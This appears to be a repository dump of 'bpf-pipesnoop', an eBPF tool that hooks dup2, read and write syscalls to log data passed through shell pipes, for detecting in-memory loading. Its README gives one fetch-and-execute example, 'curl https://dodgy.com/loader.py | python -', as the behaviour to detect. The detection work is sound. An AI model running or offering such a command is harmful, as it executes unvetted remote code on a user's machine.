├── .gitignore ├── .gitmodules ├── LICENSE ├── README.md ├── src ├── Makefile ├── pipesnoop.bpf.c ├── pipesnoop.c ├── pipesnoop.h ├── vmlinux.h └── vmlinux_508.h └── tools ├── bpftool └── gen_vmlinux_h.sh /.gitignore: -------------------------------------------------------------------------------- 1 | /.vscode 2 | /src/.output 3 | /src/pipesnoop 4 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "libbpf"] 2 | path = libbpf 3 | url = https://github.com/libbpf/libbpf.git 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Andrii Nakryiko 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BPF-PipeSnoop 2 | Example program using eBPF to log data being based in using shell pipes (`|`) 3 | 4 | Accompanies my blog [Using eBPF to uncover in-memory loading](https://blog.tofile.dev/2021/02/15/ebpf-01.html) 5 | 6 | # Overview 7 | Shells can parse data between programs using pipes, e.g.: 8 | ```bash 9 | curl https://dodgy.com/loader.py | python - 10 | ``` 11 | 12 | In this example, a python script is downloaded from the internet and executed, 13 | without the file being written to disk, and its content is not visible on the commnandline. 14 | 15 | 16 | `pipesnoop` is a demonstration of how you could detect when data is being passed using pipes 17 | and log it, all using eBPF. 18 | 19 | # Building 20 | ```bash 21 | # First clone the repository and the libbpf submodule 22 | git clone --recursive https://github.com/pathtofile/bpf-pipesnoop.git 23 | cd bpf-pipesnoop/src 24 | make 25 | ``` 26 | This should generate the program `pipesnoop` in the same directory. 27 | 28 | # Running 29 | Just run as root and watch the output: 30 | ```bash 31 | sudo ./pipesnoop 32 | ``` 33 | 34 | # How it works 35 | (Note experts will have better descripion than this) 36 | When bash is given a command to run multiple programs with a pipe in between, a number of things happen. 37 | If the example is: 38 | ```bash 39 | bash -c "apple | banana" 40 | ``` 41 | Then this will happen: 42 | 43 | ### Bash pipe 44 | bash will use the syscall `pipe` to create an annonamous pipe. 45 | This returns two file descriptors, 1 for each end of the pip, e.g. fds `3` and `4`. 46 | 47 | ### Bash clone 48 | bash will call `clone` twice to create `apple` and `banana`. 49 | Both programs inhearet all of bash's fds, so they also has fds `3` and `4`. 50 | **important note** this means both `apple` and `banana` start running at (almost) the same time, 51 | i.e. `banana` does *not* wait for `apple` to finish before running. 52 | 53 | ### Apple close and dup2 54 | `apple` will close one end of the pipe e.g. `3`, then call `dup2` to overwrite its `stdout` or `1` 55 | fd with the non-closed end of the pipe, e.g. `dup2(4, 1)`. 56 | 57 | ### Banana close and dup2 58 | `banana` will close the other end of the pipe, e.g. `4`, then call `dup2` to overwrite its `stdin` or `0` 59 | fd with the non-closed end of the pipe, e.g. `dup2(3, 0)`. 60 | 61 | ### Apple write 62 | `apple` will start writing data to `stdout` like normal, but due to the `dup2` 63 | call it ends up instead into the pipe. 64 | 65 | ### Banana read 66 | `banana` will start reading data from its `stdin` like normal, but due to the `dup2` 67 | call it ends up instead reading from the pipe. 68 | 69 | ### Pipe close 70 | When `apple` closes, it will send an 'end of stream' down the pipe, so `banana` knows it has finished reading. 71 | 72 | 73 | # Aknowledgements 74 | The skeleton of this project was made with the help of [Libpf-Bootstrap](https://github.com/libbpf/libbpf-bootstrap). 75 | -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | OUTPUT := .output 3 | CLANG ?= clang 4 | LLVM_STRIP ?= llvm-strip 5 | BPFTOOL ?= $(abspath ../tools/bpftool) 6 | LIBBPF_SRC := $(abspath ../libbpf/src) 7 | LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) 8 | # Use our own libbpf API headers and Linux UAPI headers distributed with 9 | # libbpf to avoid dependency on system-wide headers, which could be missing or 10 | # outdated 11 | INCLUDES := -I$(OUTPUT) -I../libbpf/include/uapi 12 | CFLAGS := -g -Wall 13 | ARCH := $(shell uname -m | sed 's/x86_64/x86/') 14 | 15 | APPS = pipesnoop 16 | 17 | # Get Clang's default includes on this system. We'll explicitly add these dirs 18 | # to the includes list when compiling with `-target bpf` because otherwise some 19 | # architecture-specific dirs will be "missing" on some architectures/distros - 20 | # headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, 21 | # sys/cdefs.h etc. might be missing. 22 | # 23 | # Use '-idirafter': Don't interfere with include mechanics except where the 24 | # build would have failed anyways. 25 | CLANG_BPF_SYS_INCLUDES = $(shell $(CLANG) -v -E - &1 \ 26 | | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') 27 | 28 | ifeq ($(V),1) 29 | Q = 30 | msg = 31 | else 32 | Q = @ 33 | msg = @printf ' %-8s %s%s\n' \ 34 | "$(1)" \ 35 | "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ 36 | "$(if $(3), $(3))"; 37 | MAKEFLAGS += --no-print-directory 38 | endif 39 | 40 | .PHONY: all 41 | all: $(APPS) 42 | 43 | .PHONY: clean 44 | clean: 45 | $(call msg,CLEAN) 46 | $(Q)rm -rf $(OUTPUT) $(APPS) 47 | 48 | $(OUTPUT) $(OUTPUT)/libbpf: 49 | $(call msg,MKDIR,$@) 50 | $(Q)mkdir -p $@ 51 | 52 | # Build libbpf 53 | $(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf 54 | $(call msg,LIB,$@) 55 | $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ 56 | OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ 57 | INCLUDEDIR= LIBDIR= UAPIDIR= \ 58 | install 59 | 60 | # Build BPF code 61 | $(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) vmlinux.h | $(OUTPUT) 62 | $(call msg,BPF,$@) 63 | $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) -c $(filter %.c,$^) -o $@ 64 | $(Q)$(LLVM_STRIP) -g $@ # strip useless DWARF info 65 | 66 | # Generate BPF skeletons 67 | $(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) 68 | $(call msg,GEN-SKEL,$@) 69 | $(Q)$(BPFTOOL) gen skeleton $< > $@ 70 | 71 | # Build user-space code 72 | $(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h 73 | 74 | $(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) 75 | $(call msg,CC,$@) 76 | $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ 77 | 78 | # Build application binary 79 | $(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) 80 | $(call msg,BINARY,$@) 81 | $(Q)$(CC) $(CFLAGS) $^ -lelf -lz -o $@ 82 | 83 | # delete failed targets 84 | .DELETE_ON_ERROR: 85 | 86 | # keep intermediate (.skel.h, .bpf.o, etc) targets 87 | .SECONDARY: 88 | 89 | -------------------------------------------------------------------------------- /src/pipesnoop.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #include "pipesnoop.h" 3 | #include "vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 9 | 10 | int target_ppid = 0; 11 | 12 | struct { 13 | __uint(type, BPF_MAP_TYPE_HASH); 14 | __uint(max_entries, 100); 15 | __type(key, int); 16 | __type(value, int); 17 | } map_write_fd SEC(".maps"); 18 | 19 | struct { 20 | __uint(type, BPF_MAP_TYPE_HASH); 21 | __uint(max_entries, 100); 22 | __type(key, int); 23 | __type(value, int); 24 | } map_read_fd SEC(".maps"); 25 | 26 | 27 | struct { 28 | __uint(type, BPF_MAP_TYPE_HASH); 29 | __uint(max_entries, 100); 30 | __type(key, size_t); 31 | __type(value, unsigned long); 32 | } map_read_pid_tgid SEC(".maps"); 33 | 34 | struct { 35 | __uint(type, BPF_MAP_TYPE_RINGBUF); 36 | __uint(max_entries, 256 * 1024); 37 | } rb SEC(".maps"); 38 | 39 | 40 | // int dup2(int oldfd, int newfd); 41 | SEC("tp/syscalls/sys_enter_dup2") 42 | int handle_dup2_enter(struct trace_event_raw_sys_enter *ctx) 43 | { 44 | size_t pid_tgid = bpf_get_current_pid_tgid(); 45 | int pid = pid_tgid >> 32; 46 | struct task_struct *task = (struct task_struct *)bpf_get_current_task(); 47 | 48 | if (target_ppid != 0) { 49 | int ppid = BPF_CORE_READ(task, real_parent, tgid); 50 | if (pid != target_ppid && ppid != target_ppid) { 51 | return 0; 52 | } 53 | } 54 | char comm[TASK_COMM_LEN]; 55 | bpf_core_read_str(&comm, TASK_COMM_LEN, &task->comm); 56 | 57 | int oldfd = ctx->args[0]; 58 | int newfd = ctx->args[1]; 59 | if (newfd == 1) { 60 | int fd = 1; 61 | bpf_printk("[DUP2] %s[%d] Setting stdout to fd %d\n", comm, pid, oldfd); 62 | bpf_map_update_elem(&map_write_fd, &pid, &fd, BPF_ANY); 63 | } 64 | else if (newfd == 0) { 65 | int fd = 0; 66 | bpf_printk("[DUP2] %s[%d] Setting stdin to fd %d\n", comm, pid, oldfd); 67 | bpf_map_update_elem(&map_read_fd, &pid, &fd, BPF_ANY); 68 | } 69 | return 0; 70 | } 71 | 72 | 73 | SEC("tp/syscalls/sys_enter_write") 74 | int handle_write_enter(struct trace_event_raw_sys_enter *ctx) 75 | { 76 | // If parent is in map, then 77 | size_t pid_tgid = bpf_get_current_pid_tgid(); 78 | int pid = pid_tgid >> 32; 79 | 80 | int* pfd = bpf_map_lookup_elem(&map_write_fd, &pid); 81 | if (pfd == 0) { 82 | return 0; 83 | } 84 | 85 | int map_fd = *pfd; 86 | int write_fd = ctx->args[0]; 87 | if (map_fd != write_fd) { 88 | return 0; 89 | } 90 | 91 | // Find out what is read 92 | unsigned long write_buf = ctx->args[1]; 93 | unsigned int real_size = ctx->args[2]; 94 | 95 | // Add to ring buffer 96 | struct event *e; 97 | e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); 98 | if (!e) 99 | return 0; 100 | e->pid = pid; 101 | e->action = WRITE; 102 | e->real_size = real_size; 103 | bpf_get_current_comm(&e->comm, sizeof(e->comm)); 104 | bpf_probe_read_user(&e->buff, MAX_BUF_SIZE, (char*)write_buf); 105 | for (int i = 0; i < MAX_BUF_SIZE; i++) { 106 | if (i > real_size) { 107 | e->buff[i] = 0x00; 108 | } 109 | } 110 | bpf_ringbuf_submit(e, 0); 111 | 112 | return 0; 113 | } 114 | 115 | SEC("tp/syscalls/sys_enter_read") 116 | int handle_read_enter(struct trace_event_raw_sys_enter *ctx) 117 | { 118 | size_t pid_tgid = bpf_get_current_pid_tgid(); 119 | int pid = pid_tgid >> 32; 120 | 121 | int* pfd = bpf_map_lookup_elem(&map_read_fd, &pid); 122 | if (pfd == 0) { 123 | return 0; 124 | } 125 | 126 | int map_fd = *pfd; 127 | int write_fd = ctx->args[0]; 128 | if (map_fd != write_fd) { 129 | return 0; 130 | } 131 | 132 | // Add pid_tgit to map for exit 133 | unsigned long read_buf = ctx->args[1]; 134 | bpf_map_update_elem(&map_read_pid_tgid, &pid_tgid, &read_buf, BPF_ANY); 135 | 136 | return 0; 137 | } 138 | 139 | SEC("tp/syscalls/sys_exit_read") 140 | int handle_read_exit(struct trace_event_raw_sys_exit *ctx) 141 | { 142 | int read_size = ctx->ret; 143 | if (read_size == 0) { 144 | return 0; 145 | } 146 | 147 | size_t pid_tgid = bpf_get_current_pid_tgid(); 148 | int pid = pid_tgid >> 32; 149 | // Check we're in the return of a read we want 150 | unsigned long* pBuff = bpf_map_lookup_elem(&map_read_pid_tgid, &pid_tgid); 151 | if (pBuff == 0) { 152 | return 0; 153 | } 154 | bpf_map_delete_elem(&map_read_pid_tgid, &pid_tgid); 155 | unsigned long read_buff = *pBuff; 156 | 157 | // Add to ring buffer 158 | struct event *e; 159 | e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); 160 | if (!e) 161 | return 0; 162 | e->pid = pid; 163 | e->action = READ; 164 | e->real_size = read_size; 165 | bpf_get_current_comm(&e->comm, sizeof(e->comm)); 166 | bpf_probe_read_user(&e->buff, MAX_BUF_SIZE, (char*)read_buff); 167 | for (int i = 0; i < MAX_BUF_SIZE; i++) { 168 | if (i > read_size) { 169 | e->buff[i] = 0x00; 170 | } 171 | } 172 | bpf_ringbuf_submit(e, 0); 173 | 174 | return 0; 175 | } 176 | 177 | SEC("tp/syscalls/sys_exit_exit_group") 178 | int handle_exit_group_enter(struct trace_event_raw_sys_exit *ctx) 179 | { 180 | // Clear out program once it exits 181 | size_t pid_tgid = bpf_get_current_pid_tgid(); 182 | int pid = pid_tgid >> 32; 183 | 184 | bpf_map_delete_elem(&map_write_fd, &pid); 185 | bpf_map_delete_elem(&map_read_fd, &pid); 186 | return 0; 187 | } 188 | -------------------------------------------------------------------------------- /src/pipesnoop.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #include "pipesnoop.h" 3 | #include "pipesnoop.skel.h" 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) 14 | { 15 | return vfprintf(stderr, format, args); 16 | } 17 | 18 | static bool bump_memlock_rlimit(void) 19 | { 20 | struct rlimit rlim_new = { 21 | .rlim_cur = RLIM_INFINITY, 22 | .rlim_max = RLIM_INFINITY, 23 | }; 24 | 25 | if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) { 26 | fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit!\n"); 27 | return false; 28 | } 29 | return true; 30 | } 31 | 32 | static volatile sig_atomic_t stop; 33 | void sig_int(int signo) 34 | { 35 | stop = 1; 36 | } 37 | 38 | static int handle_event(void *ctx, void *data, size_t data_sz) 39 | { 40 | const struct event *e = data; 41 | char buff[MAX_BUF_SIZE]; 42 | memcpy(buff, e->buff, MAX_BUF_SIZE); 43 | 44 | // Do super basic cleanup 45 | for (int i = 0; i < MAX_BUF_SIZE; i++) { 46 | if (buff[i] == 0x00) { 47 | break; 48 | } 49 | else if (buff[i] == '\n') { 50 | buff[i] = 0x00; 51 | } 52 | else if (buff[i] < 32 || buff[i] > 126) { 53 | buff[i] = '?'; 54 | } 55 | } 56 | 57 | // Log message 58 | int start = 0; 59 | char message[MAX_BUF_SIZE+200]; 60 | start = sprintf(message, "[*] %s[%d] ", e->comm, e->pid); 61 | if (e->action == WRITE) { 62 | start = sprintf(message+start, "wrote %d bytes from piped stdout: '%s'", e->real_size, buff); 63 | } 64 | else { 65 | start = sprintf(message+start, "read %d bytes from piped stdin: '%s'", e->real_size, buff); 66 | } 67 | 68 | if (e->real_size > MAX_BUF_SIZE) { 69 | sprintf(message+start, ""); 70 | } 71 | 72 | printf("%s\n", message); 73 | return 0; 74 | } 75 | 76 | int main(int argc, char **argv) 77 | { 78 | struct pipesnoop_bpf *prog; 79 | int err; 80 | struct ring_buffer *rb = NULL; 81 | 82 | // Set up libbpf errors and debug info callback 83 | libbpf_set_print(libbpf_print_fn); 84 | 85 | // Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything 86 | if (!bump_memlock_rlimit()) { 87 | exit(1); 88 | }; 89 | 90 | if (signal(SIGINT, sig_int) == SIG_ERR || signal(SIGTERM, sig_int) == SIG_ERR) { 91 | fprintf(stderr, "Failed to set signal handler: %s\n", strerror(errno)); 92 | goto cleanup; 93 | } 94 | 95 | // Open and load BPF application 96 | prog = pipesnoop_bpf__open_and_load(); 97 | if (!prog) { 98 | fprintf(stderr, "Failed to open BPF progeton\n"); 99 | return 1; 100 | } 101 | 102 | // Attach tracepoint handler 103 | err = pipesnoop_bpf__attach(prog); 104 | if (err) { 105 | fprintf(stderr, "Failed to attach BPF progeton\n"); 106 | goto cleanup; 107 | } 108 | 109 | printf("Successfully started!\n"); 110 | 111 | // Setup and start ring buffer 112 | rb = ring_buffer__new(bpf_map__fd(prog->maps.rb), handle_event, NULL, NULL); 113 | if (!rb) { 114 | err = -1; 115 | fprintf(stderr, "Failed to create ring buffer\n"); 116 | goto cleanup; 117 | } 118 | while (!stop) { 119 | err = ring_buffer__poll(rb, 100 /* timeout, ms */); 120 | /* Ctrl-C will cause -EINTR */ 121 | if (err == -EINTR) { 122 | err = 0; 123 | break; 124 | } 125 | if (err < 0) { 126 | printf("Error polling perf buffer: %d\n", err); 127 | break; 128 | } 129 | } 130 | 131 | return 0; 132 | 133 | cleanup: 134 | ring_buffer__free(rb); 135 | pipesnoop_bpf__destroy(prog); 136 | return err < 0 ? -err : 0; 137 | } 138 | -------------------------------------------------------------------------------- /src/pipesnoop.h: -------------------------------------------------------------------------------- 1 | #ifndef PIPESNOOP_H 2 | #define PIPESNOOP_H 3 | 4 | #define MAX_BUF_SIZE 500 5 | 6 | #ifndef TASK_COMM_LEN 7 | #define TASK_COMM_LEN 16 8 | #endif 9 | 10 | enum pipesnoop_action { 11 | READ = 0, 12 | WRITE, 13 | }; 14 | 15 | struct event { 16 | int pid; 17 | char comm[TASK_COMM_LEN]; 18 | enum pipesnoop_action action; 19 | int real_size; 20 | char buff[MAX_BUF_SIZE]; 21 | }; 22 | 23 | #endif // PIPESNOOP_H -------------------------------------------------------------------------------- /src/vmlinux.h: -------------------------------------------------------------------------------- 1 | vmlinux_508.h -------------------------------------------------------------------------------- /tools/bpftool: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pathtofile/bpf-pipesnoop/0f710d3104a738d881d8fd4a092e529faa3374a4/tools/bpftool -------------------------------------------------------------------------------- /tools/gen_vmlinux_h.sh: -------------------------------------------------------------------------------- 1 | #/bin/sh 2 | 3 | $(dirname "$0")/bpftool btf dump file ${1:-/sys/kernel/btf/vmlinux} format c 4 | --------------------------------------------------------------------------------